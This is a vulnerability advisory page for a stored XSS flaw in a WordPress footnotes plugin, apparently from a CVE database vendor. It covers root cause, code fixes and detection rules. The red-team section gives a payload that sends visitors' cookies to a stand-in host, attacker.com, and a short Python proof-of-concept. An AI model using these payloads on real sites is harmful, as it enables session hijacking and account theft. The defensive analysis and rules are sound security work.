CVE-2024-56019
Executive Summary
CVE-2024-56019 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Inline Footnotes by gavinr, affecting versions up to and including 2.3.0. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that is stored on the server and executed in the context of any user viewing the affected page. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin page for updates and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must visit a page with the malicious footnote
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L) – limited data exposure
- Integrity Impact: Low (I:L) – limited modification of content
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS increases the potential for widespread impact if exploited in a popular site.
Deep Dive & Mechanics
The vulnerability exists in the inline-footnotes WordPress plugin, which allows authors to add footnotes to posts and pages. The plugin fails to sanitize or escape user input when rendering footnote content. An attacker with contributor-level access or higher can inject malicious JavaScript into a footnote field. When the post is viewed, the injected script executes in the browser of any visitor, including administrators.
Root Cause: The plugin uses echo or similar output functions without applying WordPress escaping functions like esc_html() or wp_kses_post() on the footnote content before rendering it in the HTML.
Attack Flow:
- Attacker logs in as a contributor or author.
- Creates or edits a post, adding a footnote containing a malicious payload (e.g.,
<script>alert('XSS')</script>). - The payload is stored in the WordPress database.
- When any user (including admin) views the post, the script executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (inline-footnotes.php, version <= 2.3.0):
function render_footnote($content) {
// ... processing ...
echo '<sup class="footnote">' . $footnote_text . '</sup>';
}
The $footnote_text is output directly without sanitization.
Patched Code (hypothetical):
function render_footnote($content) {
// ... processing ...
echo '<sup class="footnote">' . esc_html($footnote_text) . '</sup>';
}
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with Inline Footnotes plugin <= 2.3.0
- Attacker account with at least Contributor role
Exploitation Steps:
- Log in to WordPress as a contributor.
- Create a new post or edit an existing one.
- In the post editor, add a footnote with the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish or save the post.
- When an admin or visitor views the post, the script executes, exfiltrating cookies.
Proof-of-Concept (PoC) Code:
import requests
target_url = "http://target-wordpress.com/wp-admin/post-new.php"
session = requests.Session()
# Login as contributor
login_data = {"log": "contributor", "pwd": "password", "wp-submit": "Log In"}
session.post(target_url, data=login_data)
# Create post with malicious footnote
post_data = {
"post_title": "Test Post",
"content": "This is a test post.[ref]<script>alert('XSS')</script>[/ref]",
"publish": "Publish"
}
session.post(target_url, data=post_data)
Blue Team (Detection & Defense)
Detection:
- Monitor WordPress logs for unusual footnote content containing
<script>tags. - Use Web Application Firewall (WAF) rules to block common XSS payloads in POST data.
Defense:
- Disable the plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce strict input validation and output escaping for all user-generated content.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/inline-footnotes/inline-footnotes.php(version <= 2.3.0) - Database: Rows in
wp_postsorwp_postmetacontaining<script>tags in footnote fields. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress debug logs showing unescaped HTML output.
Detection Engineering
YARA Rule
rule CVE_2024_56019_Inline_Footnotes_XSS {
meta:
description = "Detects Inline Footnotes plugin files with unescaped output"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-56019"
strings:
$vuln_func = /echo\s*['\"].*\$footnote_text/
$plugin_id = "inline-footnotes"
condition:
$plugin_id and $vuln_func
}
Sigma Rule
title: CVE-2024-56019 Stored XSS in Inline Footnotes Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Inline Footnotes plugin
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: "/wp-admin/post.php"
http.body|contains: "[ref]"
http.body|contains: "<script>"
condition: selection
falsepositives:
- Legitimate use of JavaScript in footnotes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-56019 Stored XSS in Inline Footnotes"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"[ref]"; http_client_body; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Remove any malicious footnotes from existing posts by editing the post content and deleting the
[ref]...[/ref]blocks containing scripts. - Change all user passwords if admin credentials were potentially compromised.
Long-term Fix:
- Apply output escaping using
esc_html()orwp_kses_post()in the plugin code. - Implement a nonce check for footnote submissions.
- Use WordPress's built-in
wp_ksesfunctions to allow only safe HTML.
Workaround:
- Add a WAF rule to block POST requests containing
<script>in footnote fields. - Use a security plugin like Wordfence to monitor for XSS attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.